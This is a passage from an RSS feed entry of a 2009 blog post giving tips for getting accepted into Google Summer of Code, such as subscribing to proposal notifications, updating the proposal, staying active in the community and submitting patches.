thoroughly, as well as the sections required by your mentoring organization, you should do fine.&lt;/p&gt; &lt;p&gt;3) Subscribe to your update notifications for your proposal.&lt;/p&gt; &lt;p&gt;We can keep this one short and sweet – subscribe to notifications! Every time a mentor/admin posts a public comment on your proposal, you will receive an e-mail informing you of this. This is not a default option, and if you don’t do this you will be left guessing.&lt;/p&gt; &lt;p&gt;4) Update your proposal.&lt;/p&gt; &lt;p&gt;Throughout the application process you will be asked – and required – to update your proposal. Your mentoring organization will require you to add more information to your proposal and clarify some aspects of your proposal. If you do this, you are in good shape.&lt;/p&gt; &lt;p&gt;5) Be active in the community.&lt;/p&gt; &lt;p&gt;I’m listing this twice because it is one of the most important things you can do during the application process. You should have already picked a project that you have interest in, so go ahead and make your interest known.&lt;/p&gt; &lt;p&gt;6) Submit Patches.&lt;/p&gt; &lt;p&gt;Some projects require you to submit patches to be considered for acceptance, others do not. Regardless, you should be submitting patches to your mentoring organization before the application deadline. These patches show the mentors and administrators that you have the skills required to complete your proposal. Your mentoring organization is looking for the “skills to pay the bills”&lt;/p&gt; &lt;p&gt;Doing all of these things will highly increase the probability that you are accepted by the mentoring organization that you apply to. Also, remember that you can submit multiple proposals. You want to be sure to keep your options open in case one of the organizations that you apply to does not accept your proposal.&lt;/p&gt; &lt;p&gt;I will post my &lt;a href=&quot;http://www.thousandparsec.net&quot;&gt;Thousand Parsec&lt;/a&gt; application in a later blog post for review. I hope to provide updates on how I could have improved my application as the GSoC period goes on and I learn more about it myself.&lt;/p&gt; </description> <pubDate>Thu, 30 Apr 2009 14:17:01 -0500</pubDate> <link>http://alanp.ca/blog/2009/04/30/how-to-get-accepted-into-google-summer-of-code-gsoc/</link> <guid isPermaLink="true">http://alanp.ca/blog/2009/04/30/how-to-get-accepted-into-google-summer-of-code-gsoc/</guid> <category>GSoC</category> <category>GSoC</category> </item> </channel> </rss>